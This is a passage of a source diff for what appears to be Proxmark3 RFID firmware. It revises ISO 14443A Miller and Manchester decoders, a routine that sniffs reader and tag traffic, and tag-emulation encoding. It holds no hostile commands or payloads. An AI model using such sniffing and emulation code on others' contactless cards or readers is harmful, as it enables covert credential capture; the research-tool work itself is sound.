{ - TRUE, TRUE, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, - TRUE, TRUE, FALSE, FALSE, TRUE, FALSE, FALSE, FALSE + false, true, false, true, false, false, false, true, + false, true, false, false, false, false, false, false }; -#define IsMillerModulationNibble1(b) (Mod_Miller_LUT[(b & 0x00F0) >> 4]) -#define IsMillerModulationNibble2(b) (Mod_Miller_LUT[(b & 0x000F)]) +#define IsMillerModulationNibble1(b) (Mod_Miller_LUT[(b & 0x000000F0) >> 4]) +#define IsMillerModulationNibble2(b) (Mod_Miller_LUT[(b & 0x0000000F)]) -void UartReset() -{ +tUart* GetUart() { + return &Uart; +} + +void UartReset(void) { Uart.state = STATE_UNSYNCD; Uart.bitCount = 0; Uart.len = 0; // number of decoded data bytes + Uart.parityLen = 0; // number of decoded parity bytes Uart.shiftReg = 0; // shiftreg to hold decoded data bits - Uart.parityBits = 0; // - Uart.twoBits = 0x0000; // buffer for 2 Bits - Uart.highCnt = 0; + Uart.parityBits = 0; // holds 8 parity bits Uart.startTime = 0; Uart.endTime = 0; + Uart.fourBits = 0x00000000; // clear the buffer for 4 Bits + Uart.posCnt = 0; + Uart.syncBit = 9999; } +void UartInit(uint8_t *data, uint8_t *parity) { + Uart.output = data; + Uart.parity = parity; + UartReset(); +} // use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time -static RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) -{ - - Uart.twoBits = (Uart.twoBits << 8) | bit; +RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { + Uart.fourBits = (Uart.fourBits << 8) | bit; - if (Uart.state == STATE_UNSYNCD) { // not yet synced - if (Uart.highCnt < 7) { // wait for a stable unmodulated signal - if (Uart.twoBits == 0xffff) { - Uart.highCnt++; - } else { - Uart.highCnt = 0; - } - } else { - Uart.syncBit = 0xFFFF; // not set - // look for 00xx1111 (the start bit) - if ((Uart.twoBits & 0x6780) == 0x0780) Uart.syncBit = 7; - else if ((Uart.twoBits & 0x33C0) == 0x03C0) Uart.syncBit = 6; - else if ((Uart.twoBits & 0x19E0) == 0x01E0) Uart.syncBit = 5; - else if ((Uart.twoBits & 0x0CF0) == 0x00F0) Uart.syncBit = 4; - else if ((Uart.twoBits & 0x0678) == 0x0078) Uart.syncBit = 3; - else if ((Uart.twoBits & 0x033C) == 0x003C) Uart.syncBit = 2; - else if ((Uart.twoBits & 0x019E) == 0x001E) Uart.syncBit = 1; - else if ((Uart.twoBits & 0x00CF) == 0x000F) Uart.syncBit = 0; - if (Uart.syncBit != 0xFFFF) { - Uart.startTime = non_real_time?non_real_time:(GetCountSspClk() & 0xfffffff8); - Uart.startTime -= Uart.syncBit; - Uart.endTime = Uart.startTime; - Uart.state = STATE_START_OF_COMMUNICATION; - } - } + if (Uart.state == STATE_UNSYNCD) { // not yet synced + Uart.syncBit = 9999; // not set + + // 00x11111 2|3 ticks pause followed by 6|5 ticks unmodulated Sequence Z (a "0" or "start of communication") + // 11111111 8 ticks unmodulation Sequence Y (a "0" or "end of communication" or "no information") + // 111100x1 4 ticks unmodulated followed by 2|3 ticks pause Sequence X (a "1") + // The start bit is one ore more Sequence Y followed by a Sequence Z (... 11111111 00x11111). We need to distinguish from + // Sequence X followed by Sequence Y followed by Sequence Z (111100x1 11111111 00x11111) + // we therefore look for a ...xx1111 11111111 00x11111xxxxxx... pattern + // (12 '1's followed by 2 '0's, eventually followed by another '0', followed by 5 '1's) + #define ISO14443A_STARTBIT_MASK 0x07FFEF80 // mask is 00000111 11111111 11101111 10000000 + #define ISO14443A_STARTBIT_PATTERN 0x07FF8F80 // pattern is 00000111 11111111 10001111 10000000 + if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 0)) == ISO14443A_STARTBIT_PATTERN >> 0) Uart.syncBit = 7; + else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 1)) == ISO14443A_STARTBIT_PATTERN >> 1) Uart.syncBit = 6; + else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 2)) == ISO14443A_STARTBIT_PATTERN >> 2) Uart.syncBit = 5; + else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 3)) == ISO14443A_STARTBIT_PATTERN >> 3) Uart.syncBit = 4; + else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 4)) == ISO14443A_STARTBIT_PATTERN >> 4) Uart.syncBit = 3; + else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 5)) == ISO14443A_STARTBIT_PATTERN >> 5) Uart.syncBit = 2; + else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 6)) == ISO14443A_STARTBIT_PATTERN >> 6) Uart.syncBit = 1; + else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 7)) == ISO14443A_STARTBIT_PATTERN >> 7) Uart.syncBit = 0; + + if (Uart.syncBit != 9999) { // found a sync bit + Uart.startTime = non_real_time ? non_real_time : (GetCountSspClk() & 0xfffffff8); + Uart.startTime -= Uart.syncBit; + Uart.endTime = Uart.startTime; + Uart.state = STATE_START_OF_COMMUNICATION; + } } else { - if (IsMillerModulationNibble1(Uart.twoBits >> Uart.syncBit)) { - if (IsMillerModulationNibble2(Uart.twoBits >> Uart.syncBit)) { // Modulation in both halves - error + if (IsMillerModulationNibble1(Uart.fourBits >> Uart.syncBit)) { + if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation in both halves - error UartReset(); - Uart.highCnt = 6; } else { // Modulation in first half = Sequence Z = logic "0" if (Uart.state == STATE_MILLER_X) { // error - must not follow after X UartReset(); - Uart.highCnt = 6; } else { Uart.bitCount++; Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg Uart.state = STATE_MILLER_Z; - Uart.endTime = Uart.startTime + 8*(9*Uart.len + Uart.bitCount + 1) - 6; - if(Uart.bitCount >= 9) { // if we decoded a full byte (including parity) + Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 6; + if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity) Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); Uart.parityBits <<= 1; // make room for the parity bit Uart.parityBits |= ((Uart.shiftReg >> 8) & 0x01); // store parity bit Uart.bitCount = 0; Uart.shiftReg = 0; + if ((Uart.len & 0x0007) == 0) { // every 8 data bytes + Uart.parity[Uart.parityLen++] = Uart.parityBits; // store 8 parity bits + Uart.parityBits = 0; + } } } } } else { - if (IsMillerModulationNibble2(Uart.twoBits >> Uart.syncBit)) { // Modulation second half = Sequence X = logic "1" + if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation second half = Sequence X = logic "1" Uart.bitCount++; Uart.shiftReg = (Uart.shiftReg >> 1) | 0x100; // add a 1 to the shiftreg Uart.state = STATE_MILLER_X; - Uart.endTime = Uart.startTime + 8*(9*Uart.len + Uart.bitCount + 1) - 2; - if(Uart.bitCount >= 9) { // if we decoded a full byte (including parity) + Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 2; + if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity) Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); Uart.parityBits <<= 1; // make room for the new parity bit Uart.parityBits |= ((Uart.shiftReg >> 8) & 0x01); // store parity bit Uart.bitCount = 0; Uart.shiftReg = 0; + if ((Uart.len & 0x0007) == 0) { // every 8 data bytes + Uart.parity[Uart.parityLen++] = Uart.parityBits; // store 8 parity bits + Uart.parityBits = 0; + } } } else { // no modulation in both halves - Sequence Y if (Uart.state == STATE_MILLER_Z || Uart.state == STATE_MILLER_Y) { // Y after logic "0" - End of Communication Uart.state = STATE_UNSYNCD; - if(Uart.len == 0 && Uart.bitCount > 0) { // if we decoded some bits - Uart.shiftReg >>= (9 - Uart.bitCount); // add them to the output - Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); - Uart.parityBits <<= 1; // no parity bit - add "0" - Uart.bitCount--; // last "0" was part of the EOC sequence + Uart.bitCount--; // last "0" was part of EOC sequence + Uart.shiftReg <<= 1; // drop it + if (Uart.bitCount > 0) { // if we decoded some bits + Uart.shiftReg >>= (9 - Uart.bitCount); // right align them + Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); // add last byte to the output + Uart.parityBits <<= 1; // add a (void) parity bit + Uart.parityBits <<= (8 - (Uart.len&0x0007)); // left align parity bits + Uart.parity[Uart.parityLen++] = Uart.parityBits; // and store it + return true; + } else if (Uart.len & 0x0007) { // there are some parity bits to store + Uart.parityBits <<= (8 - (Uart.len&0x0007)); // left align remaining parity bits + Uart.parity[Uart.parityLen++] = Uart.parityBits; // and store them + } + if (Uart.len) { + return true; // we are finished with decoding the raw data sequence + } else { + UartReset(); // Nothing received - start over } - return TRUE; } if (Uart.state == STATE_START_OF_COMMUNICATION) { // error - must not follow directly after SOC UartReset(); - Uart.highCnt = 6; } else { // a logic "0" Uart.bitCount++; Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg Uart.state = STATE_MILLER_Y; - if(Uart.bitCount >= 9) { // if we decoded a full byte (including parity) + if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity) Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); Uart.parityBits <<= 1; // make room for the parity bit Uart.parityBits |= ((Uart.shiftReg >> 8) & 0x01); // store parity bit Uart.bitCount = 0; Uart.shiftReg = 0; + if ((Uart.len & 0x0007) == 0) { // every 8 data bytes + Uart.parity[Uart.parityLen++] = Uart.parityBits; // store 8 parity bits + Uart.parityBits = 0; + } } } } - } - + } } - - return FALSE; // not finished yet, need more data + return false; // not finished yet, need more data } - - //============================================================================= // ISO 14443 Type A - Manchester decoder //============================================================================= @@ -381,36 +343,45 @@ static RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) // 8 ticks modulated: A collision. Save the collision position and treat as Sequence D // Note 1: the bitstream may start at any time. We therefore need to sync. // Note 2: parameter offset is used to determine the position of the parity bits (required for the anticollision command only) -static tDemod Demod; +tDemod Demod; // Lookup-Table to decide if 4 raw bits are a modulation. // We accept three or four "1" in any position const bool Mod_Manchester_LUT[] = { - FALSE, FALSE, FALSE, FALSE, FALSE, FALSE, FALSE, TRUE, - FALSE, FALSE, FALSE, TRUE, FALSE, TRUE, TRUE, TRUE + false, false, false, false, false, false, false, true, + false, false, false, true, false, true, true, true }; #define IsManchesterModulationNibble1(b) (Mod_Manchester_LUT[(b & 0x00F0) >> 4]) #define IsManchesterModulationNibble2(b) (Mod_Manchester_LUT[(b & 0x000F)]) - -void DemodReset() -{ +tDemod* GetDemod() { + return &Demod; +} +void DemodReset(void) { Demod.state = DEMOD_UNSYNCD; Demod.len = 0; // number of decoded data bytes + Demod.parityLen = 0; Demod.shiftReg = 0; // shiftreg to hold decoded data bits Demod.parityBits = 0; // Demod.collisionPos = 0; // Position of collision bit - Demod.twoBits = 0xffff; // buffer for 2 Bits + Demod.twoBits = 0xFFFF; // buffer for 2 Bits Demod.highCnt = 0; Demod.startTime = 0; - Demod.endTime = 0; + Demod.endTime = 0; + Demod.bitCount = 0; + Demod.syncBit = 0xFFFF; + Demod.samples = 0; +} + +void DemodInit(uint8_t *data, uint8_t *parity) { + Demod.output = data; + Demod.parity = parity; + DemodReset(); } // use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time -static RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time) -{ - +RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time) { Demod.twoBits = (Demod.twoBits << 8) | bit; if (Demod.state == DEMOD_UNSYNCD) { @@ -432,13 +403,12 @@ static RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non else if ((Demod.twoBits & 0x01DC) == 0x01C0) Demod.syncBit = 1; else if ((Demod.twoBits & 0x00EE) == 0x00E0) Demod.syncBit = 0; if (Demod.syncBit != 0xFFFF) { - Demod.startTime = non_real_time?non_real_time:(GetCountSspClk() & 0xfffffff8); + Demod.startTime = non_real_time ? non_real_time : (GetCountSspClk() & 0xfffffff8); Demod.startTime -= Demod.syncBit; Demod.bitCount = offset; // number of decoded data bits Demod.state = DEMOD_MANCHESTER_DATA; } } - } else { if (IsManchesterModulationNibble1(Demod.twoBits >> Demod.syncBit)) { // modulation in first half @@ -449,44 +419,55 @@ static RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non } // modulation in first half only - Sequence D = 1 Demod.bitCount++; Demod.shiftReg = (Demod.shiftReg >> 1) | 0x100; // in both cases, add a 1 to the shiftreg - if(Demod.bitCount == 9) { // if we decoded a full byte (including parity) + if (Demod.bitCount == 9) { // if we decoded a full byte (including parity) Demod.output[Demod.len++] = (Demod.shiftReg & 0xff); Demod.parityBits <<= 1; // make room for the parity bit Demod.parityBits |= ((Demod.shiftReg >> 8) & 0x01); // store parity bit Demod.bitCount = 0; Demod.shiftReg = 0; + if ((Demod.len & 0x0007) == 0) { // every 8 data bytes + Demod.parity[Demod.parityLen++] = Demod.parityBits; // store 8 parity bits + Demod.parityBits = 0; + } } - Demod.endTime = Demod.startTime + 8*(9*Demod.len + Demod.bitCount + 1) - 4; + Demod.endTime = Demod.startTime + 8 * (9 * Demod.len + Demod.bitCount + 1) - 4; } else { // no modulation in first half if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // and modulation in second half = Sequence E = 0 Demod.bitCount++; Demod.shiftReg = (Demod.shiftReg >> 1); // add a 0 to the shiftreg - if(Demod.bitCount >= 9) { // if we decoded a full byte (including parity) + if (Demod.bitCount >= 9) { // if we decoded a full byte (including parity) Demod.output[Demod.len++] = (Demod.shiftReg & 0xff); Demod.parityBits <<= 1; // make room for the new parity bit Demod.parityBits |= ((Demod.shiftReg >> 8) & 0x01); // store parity bit Demod.bitCount = 0; Demod.shiftReg = 0; - } - Demod.endTime = Demod.startTime + 8*(9*Demod.len + Demod.bitCount + 1); - } else { // no modulation in both halves - End of communication - if (Demod.len > 0 || Demod.bitCount > 0) { // received something - if(Demod.bitCount > 0) { // if we decoded bits - Demod.shiftReg >>= (9 - Demod.bitCount); // add the remaining decoded bits to the output - Demod.output[Demod.len++] = Demod.shiftReg & 0xff; - // No parity bit, so just shift a 0 - Demod.parityBits <<= 1; + if ((Demod.len & 0x0007) == 0) { // every 8 data bytes + Demod.parity[Demod.parityLen++] = Demod.parityBits; // store 8 parity bits1 + Demod.parityBits = 0; } - return TRUE; // we are finished with decoding the raw data sequence + } + Demod.endTime = Demod.startTime + 8 * (9 * Demod.len + Demod.bitCount + 1); + } else { // no modulation in both halves - End of communication + if(Demod.bitCount > 0) { // there are some remaining data bits + Demod.shiftReg >>= (9 - Demod.bitCount); // right align the decoded bits + Demod.output[Demod.len++] = Demod.shiftReg & 0xff; // and add them to the output + Demod.parityBits <<= 1; // add a (void) parity bit + Demod.parityBits <<= (8 - (Demod.len&0x0007)); // left align remaining parity bits + Demod.parity[Demod.parityLen++] = Demod.parityBits; // and store them + return true; + } else if (Demod.len & 0x0007) { // there are some parity bits to store + Demod.parityBits <<= (8 - (Demod.len&0x0007)); // left align remaining parity bits + Demod.parity[Demod.parityLen++] = Demod.parityBits; // and store them + } + if (Demod.len) { + return true; // we are finished with decoding the raw data sequence } else { // nothing received. Start over DemodReset(); } } } - - } - - return FALSE; // not finished yet, need more data + } + return false; // not finished yet, need more data } //============================================================================= @@ -498,87 +479,88 @@ static RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non // Record the sequence of commands sent by the reader to the tag, with // triggering so that we start recording at the point that the tag is moved // near the reader. +// "hf 14a sniff" //----------------------------------------------------------------------------- -void RAMFUNC SnoopIso14443a(uint8_t param) { +void RAMFUNC SniffIso14443a(uint8_t param) { + LEDsoff(); // param: // bit 0 - trigger from first card answer // bit 1 - trigger from first reader 7-bit request + iso14443a_setup(FPGA_HF_ISO14443A_SNIFFER); - LEDsoff(); - // init trace buffer - iso14a_clear_trace(); - iso14a_set_tracing(TRUE); - - // We won't start recording the frames that we acquire until we trigger; - // a good trigger condition to get started is probably when we see a - // response from the tag. - // triggered == FALSE -- to wait first for card - bool triggered = !(param & 0x03); + // Allocate memory from BigBuf for some buffers + // free all previous allocations first + BigBuf_free(); BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); // The command (reader -> tag) that we're receiving. - // The length of a received command will in most cases be no more than 18 bytes. - // So 32 should be enough! - uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); + uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE); + uint8_t *receivedCmdPar = BigBuf_malloc(MAX_PARITY_SIZE); + // The response (tag -> reader) that we're receiving. - uint8_t *receivedResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET); - - // As we receive stuff, we copy it from receivedCmd or receivedResponse - // into trace, along with its length and other annotations. - //uint8_t *trace = (uint8_t *)BigBuf; + uint8_t *receivedResp = BigBuf_malloc(MAX_FRAME_SIZE); + uint8_t *receivedRespPar = BigBuf_malloc(MAX_PARITY_SIZE); // The DMA buffer, used to stream samples from the FPGA - uint8_t *dmaBuf = ((uint8_t *)BigBuf) + DMA_BUFFER_OFFSET; + uint8_t *dmaBuf = BigBuf_malloc(DMA_BUFFER_SIZE); uint8_t *data = dmaBuf; + uint8_t previous_data = 0; int maxDataLen = 0; int dataLen = 0; - bool TagIsActive = FALSE; - bool ReaderIsActive = FALSE; + bool TagIsActive = false; + bool ReaderIsActive = false; - iso14443a_setup(FPGA_HF_ISO14443A_SNIFFER); - // Set up the demodulator for tag -> reader responses. - Demod.output = receivedResponse; - - // Set up the demodulator for the reader -> tag commands - Uart.output = receivedCmd; - - // Setup and start DMA. - FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); + DemodInit(receivedResp, receivedRespPar); - // And now we loop, receiving samples. - for(uint32_t rsamples = 0; TRUE; ) { + // Set up the demodulator for the reader -> tag commands + UartInit(receivedCmd, receivedCmdPar); + + // Setup and start DMA. + if ( !FpgaSetupSscDma((uint8_t*) dmaBuf, DMA_BUFFER_SIZE) ){ + if (MF_DBGLEVEL > 1) Dbprintf("FpgaSetupSscDma failed. Exiting"); + return; + } + + // We won't start recording the frames that we acquire until we trigger; + // a good trigger condition to get started is probably when we see a + // response from the tag. + // triggered == false -- to wait first for card + bool triggered = !(param & 0x03); + + uint32_t rsamples = 0; - if(BUTTON_PRESS()) { - DbpString("cancelled by button"); - break; - } - - LED_A_ON(); - WDT_HIT(); + DbpString("Starting to sniff"); + + // loop and listen + while (!BUTTON_PRESS()) { + WDT_HIT(); + LED_A_ON(); int register readBufDataP = data - dmaBuf; int register dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR; - if (readBufDataP <= dmaBufDataP){ + if (readBufDataP <= dmaBufDataP) dataLen = dmaBufDataP - readBufDataP; - } else { + else dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP; - } + // test for length of buffer - if(dataLen > maxDataLen) { + if (dataLen > maxDataLen) { maxDataLen = dataLen; - if(dataLen > 400) { - Dbprintf("blew circular buffer! dataLen=%d", dataLen); + if (dataLen > (9 * DMA_BUFFER_SIZE / 10)) { + Dbprintf("[!] blew circular buffer! | datalen %u", dataLen); break; } } - if(dataLen < 1) continue; + if (dataLen < 1) continue; // primary buffer was stopped( <-- we lost data! if (!AT91C_BASE_PDC_SSC->PDC_RCR) { AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf; AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; - Dbprintf("RxEmpty ERROR!!! data length:%d", dataLen); // temporary + Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary } // secondary buffer sets as primary, secondary buffer was stopped if (!AT91C_BASE_PDC_SSC->PDC_RNCR) { @@ -588,23 +570,28 @@ void RAMFUNC SnoopIso14443a(uint8_t param) { LED_A_OFF(); - if (rsamples & 0x01) { // Need two samples to feed Miller and Manchester-Decoder + // Need two samples to feed Miller and Manchester-Decoder + if (rsamples & 0x01) { - if(!TagIsActive) { // no need to try decoding reader data if the tag is sending + if (!TagIsActive) { // no need to try decoding reader data if the tag is sending uint8_t readerdata = (previous_data & 0xF0) | (*data >> 4); if (MillerDecoding(readerdata, (rsamples-1)*4)) { LED_C_ON(); // check - if there is a short 7bit request from reader - if ((!triggered) && (param & 0x02) && (Uart.len == 1) && (Uart.bitCount == 7)) triggered = TRUE; + if ((!triggered) && (param & 0x02) && (Uart.len == 1) && (Uart.bitCount == 7)) triggered = true; - if(triggered) { - if (!LogTrace(receivedCmd, Uart.len, Uart.startTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER, Uart.parityBits, TRUE)) break; - if (!LogTrace(NULL, 0, Uart.endTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER, 0, TRUE)) break; + if (triggered) { + if (!LogTrace(receivedCmd, + Uart.len, + Uart.startTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER, + Uart.endTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER, + Uart.parity, + true)) break; } - /* And ready to receive another command. */ + /* ready to receive another command. */ UartReset(); - /* And also reset the demod code, which might have been */ + /* reset the demod code, which might have been */ /* false-triggered by the commands from the reader. */ DemodReset(); LED_B_OFF(); @@ -612,18 +599,26 @@ void RAMFUNC SnoopIso14443a(uint8_t param) { ReaderIsActive = (Uart.state != STATE_UNSYNCD); } - if(!ReaderIsActive) { // no need to try decoding tag data if the reader is sending - and we cannot afford the time + // no need to try decoding tag data if the reader is sending - and we cannot afford the time + if (!ReaderIsActive) { uint8_t tagdata = (previous_data << 4) | (*data & 0x0F); - if(ManchesterDecoding(tagdata, 0, (rsamples-1)*4)) { + if (ManchesterDecoding(tagdata, 0, (rsamples-1)*4)) { LED_B_ON(); - if (!LogTrace(receivedResponse, Demod.len, Demod.startTime*16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, Demod.parityBits, FALSE)) break; - if (!LogTrace(NULL, 0, Demod.endTime*16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, 0, FALSE)) break; + if (!LogTrace(receivedResp, + Demod.len, + Demod.startTime*16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, + Demod.endTime*16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, + Demod.parity, + false)) break; - if ((!triggered) && (param & 0x01)) triggered = TRUE; + if ((!triggered) && (param & 0x01)) triggered = true; - // And ready to receive another response. + // ready to receive another response. DemodReset(); + // reset the Miller decoder including its (now outdated) input buffer + UartReset(); + //UartInit(receivedCmd, receivedCmdPar); LED_C_OFF(); } TagIsActive = (Demod.state != DEMOD_UNSYNCD); @@ -633,26 +628,22 @@ void RAMFUNC SnoopIso14443a(uint8_t param) { previous_data = *data; rsamples++; data++; - if(data == dmaBuf + DMA_BUFFER_SIZE) { + if (data == dmaBuf + DMA_BUFFER_SIZE) { data = dmaBuf; } - } // main cycle + } // end main loop - DbpString("COMMAND FINISHED"); - - FpgaDisableSscDma(); - Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len); - Dbprintf("traceLen=%d, Uart.output[0]=%08x", traceLen, (uint32_t)Uart.output[0]); - LEDsoff(); + if (MF_DBGLEVEL >= 1) { + Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len); + Dbprintf("traceLen=%d, Uart.output[0]=%08x", BigBuf_get_traceLen(), (uint32_t)Uart.output[0]); + } + switch_off(); } //----------------------------------------------------------------------------- // Prepare tag messages //----------------------------------------------------------------------------- -static void CodeIso14443aAsTagPar(const uint8_t *cmd, int len, uint32_t dwParity) -{ - int i; - +static void CodeIso14443aAsTagPar(const uint8_t *cmd, uint16_t len, uint8_t *parity) { ToSendReset(); // Correction bit, might be removed when not needed @@ -669,12 +660,11 @@ static void CodeIso14443aAsTagPar(const uint8_t *cmd, int len, uint32_t dwParity ToSend[++ToSendMax] = SEC_D; LastProxToAirDuration = 8 * ToSendMax - 4; - for(i = 0; i < len; i++) { - int j; + for(uint16_t i = 0; i < len; i++) { uint8_t b = cmd[i]; // Data bits - for(j = 0; j < 8; j++) { + for(uint16_t j = 0; j < 8; j++) { if(b & 1) { ToSend[++ToSendMax] = SEC_D; } else { @@ -684,7 +674,7 @@ static void CodeIso14443aAsTagPar(const uint8_t *cmd, int len, uint32_t dwParity } // Get the parity bit - if ((dwParity >> i) & 0x01) { + if (parity[i>>3] & (0x80>>(i&0x0007))) { ToSend[++ToSendMax] = SEC_D; LastProxToAirDuration = 8 * ToSendMax - 4; } else { @@ -700,14 +690,14 @@ static void CodeIso14443aAsTagPar(const uint8_t *cmd, int len, uint32_t dwParity ToSendMax++; } -static void CodeIso14443aAsTag(const uint8_t *cmd, int len){ - CodeIso14443aAsTagPar(cmd, len, GetParity(cmd, len)); +static void CodeIso14443aAsTag(const uint8_t *cmd, uint16_t len) { + uint8_t par[MAX_PARITY_SIZE] = {0}; + GetParity(cmd, len, par); + CodeIso14443aAsTagPar(cmd, len, par); } - -static void Code4bitAnswerAsTag(uint8_t cmd) -{ - int i; +static void Code4bitAnswerAsTag(uint8_t cmd) { + uint8_t b = cmd; ToSendReset(); @@ -724,8 +714,7 @@ static void Code4bitAnswerAsTag(uint8_t cmd) // Send startbit ToSend[++ToSendMax] = SEC_D; - uint8_t b = cmd; - for(i = 0; i < 4; i++) { + for(uint8_t i = 0; i < 4; i++) { if(b & 1) { ToSend[++ToSendMax] = SEC_D; LastProxToAirDuration = 8 * ToSendMax - 4; @@ -745,62 +734,34 @@ static void Code4bitAnswerAsTag(uint8_t cmd) //----------------------------------------------------------------------------- // Wait for commands from reader -// Stop when button is pressed -// Or return TRUE when command is captured +// stop when button is pressed +// or return TRUE when command is captured //----------------------------------------------------------------------------- -static int GetIso14443aCommandFromReader(uint8_t *received, int *len, int maxLen) -{ +int GetIso14443aCommandFromReader(uint8_t *received, uint8_t *parity, int *len) { // Set FPGA mode to "simulated ISO 14443 tag", no modulation (listen // only, since we are receiving, not transmitting). // Signal field is off with the appropriate LED LED_D_OFF(); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); - // Now run a `software UART' on the stream of incoming samples. - UartReset(); - Uart.output = received; + // Now run a `software UART` on the stream of incoming samples. + UartInit(received, parity); // clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - for(;;) { + while (!BUTTON_PRESS()) { WDT_HIT(); - if(BUTTON_PRESS()) return FALSE; - - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - if(MillerDecoding(b, 0)) { + if (MillerDecoding(b, 0)) { *len = Uart.len; - return TRUE; + return true; } } } -} - -static int EmSendCmd14443aRaw(uint8_t *resp, int respLen, bool correctionNeeded); -int EmSend4bitEx(uint8_t resp, bool correctionNeeded); -int EmSend4bit(uint8_t resp); -int EmSendCmdExPar(uint8_t *resp, int respLen, bool correctionNeeded, uint32_t par); -int EmSendCmdExPar(uint8_t *resp, int respLen, bool correctionNeeded, uint32_t par); -int EmSendCmdEx(uint8_t *resp, int respLen, bool correctionNeeded); -int EmSendCmd(uint8_t *resp, int respLen); -int EmSendCmdPar(uint8_t *resp, int respLen, uint32_t par); -bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_StartTime, uint32_t reader_EndTime, uint32_t reader_Parity, - uint8_t *tag_data, uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, uint32_t tag_Parity); - -static uint8_t* free_buffer_pointer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); - -typedef struct { - uint8_t* response; - size_t response_n; - uint8_t* modulation; - size_t modulation_n; - uint32_t ProxToAirDuration; -} tag_response_info_t; - -void reset_free_buffer() { - free_buffer_pointer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); + return false; } bool prepare_tag_modulation(tag_response_info_t* response_info, size_t max_buffer_size) { @@ -814,84 +775,134 @@ bool prepare_tag_modulation(tag_response_info_t* response_info, size_t max_buffe // ----------- + // 166 bytes, since every bit that needs to be send costs us a byte // - - // Prepare the tag modulation bits from the message - CodeIso14443aAsTag(response_info->response,response_info->response_n); - - // Make sure we do not exceed the free buffer space - if (ToSendMax > max_buffer_size) { - Dbprintf("Out of memory, when modulating bits for tag answer:"); - Dbhexdump(response_info->response_n,response_info->response,false); - return false; - } - - // Copy the byte array, used for this modulation to the buffer position - memcpy(response_info->modulation,ToSend,ToSendMax); - - // Store the number of bytes that were used for encoding/modulation and the time needed to transfer them - response_info->modulation_n = ToSendMax; - response_info->ProxToAirDuration = LastProxToAirDuration; - - return true; + // Prepare the tag modulation bits from the message + CodeIso14443aAsTag(response_info->response,response_info->response_n); + + // Make sure we do not exceed the free buffer space + if (ToSendMax > max_buffer_size) { + Dbprintf("Out of memory, when modulating bits for tag answer:"); + Dbhexdump(response_info->response_n,response_info->response,false); + return false; + } + + // Copy the byte array, used for this modulation to the buffer position + memcpy(response_info->modulation,ToSend,ToSendMax); + + // Store the number of bytes that were used for encoding/modulation and the time needed to transfer them + response_info->modulation_n = ToSendMax; + response_info->ProxToAirDuration = LastProxToAirDuration; + return true; } +// "precompile" responses. There are 7 predefined responses with a total of 28 bytes data to transmit. +// Coded responses need one byte per bit to transfer (data, parity, start, stop, correction) +// 28 * 8 data bits, 